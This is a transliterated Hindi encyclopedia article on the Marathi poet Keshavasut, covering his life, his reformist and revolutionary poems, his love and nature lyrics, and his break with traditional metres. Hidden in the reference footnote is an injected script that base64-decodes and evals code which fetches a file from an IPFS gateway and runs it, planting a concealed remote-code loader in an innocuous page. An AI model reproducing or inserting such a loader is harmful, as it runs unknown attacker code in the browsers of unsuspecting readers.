कृष्णाजी केशव दामले केशवसुत
krishnaaji keshav damale ya keshavasut (1866-1905 ee.). adhunik marathi kavita ke pravartak the. ve prathamik skool ke adhyapak rahe, klark bane aur vipannavastha mean alpayu mean hi svargavasi hue, kiantu unaki kavyapratibha asadharan thi. samaj sudhar ka jo kam haribhaoo apate ne upanyasoan dvara aur agarakar ne nibandhoan dvara kiya, vahian kam keshavasut ne kavy sarjana dvara kiya. inhoanne marathi kavita ko sachche arth mean adhunik banaya.
keshavasut ki kavita sphut aur aantarniroopini hai. usamean kavy rachana sanbandhi ne ne prayog haian. unake vishay prakriti aur prem haian. unaki manovritti asapas ki samajik du:sthiti se udvelit huee aur yah kavy mean ojasvita se prakat huee. unhoanne apane kraantikari samajik vichar tutari, naiva shipayi, sphoorti, gophan, moortibhanjan ityadi ojapoorn aur saras gitoan mean prakat kie. inhoanne svatantrata, samata aur bandhuta ka udghosh kar kavita ko naya mo d diya.
prem aur atmabhivyakti unaki kavita ki doosari visheshata hai. ye pahale kavi the jinhoanne vaiyaktik prem par lagabhag chalis pragitoan ki rachana ki jinamean priyeche dhyan’, ‘priti’, ‘apar kavita daivat’ atyant saras rachanaean haian.
inake kavy ki tisari visheshata hai, prakriti varnan. inhoanne nisarg vishayak lagabhag bis gitoan ki rachana ki jinamean sooryoday, phoolean, sandhyakal, parjany, pushpaprat utkrisht haian. inhoanne kraanti vishayak kavitaoan ki bhi rachana ki. isak atirikt inhoanne rahasyatmak kavitaoan ki bhi srishti ki. jiv, jagath aur eeshvar ke sanbandh mean inaki jhapurjha, konikadoon koni kade, harapalean shrey jaisi kavitaean haian jin mean prem, suandarata, divyata, bhavyata, adi ke vishay mean bhi ek prakar ki goodhata prakat huee hai.
keshavasut ne kavyavastu mean jaise kraantikari parivartan kie, vaise hi rachanashaili mean bhi. inhoanne varnik chhandoan ki apeksha matrik chhandoan ko adhik apanaya. matrik vrittoan mean bhi inhoanne roodhiyoan ka ullanghan kiya sath hi pashchimi dhang ke sanet ko bhi apanaya. inaki sunit rachanaean prasiddh haian. inaki phulapakharoo aur satariche bol namak vyaktigat anubhavoan ka saras chitran karanevali prabhavakari rachanaean anoothi evan asvady haian.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 124 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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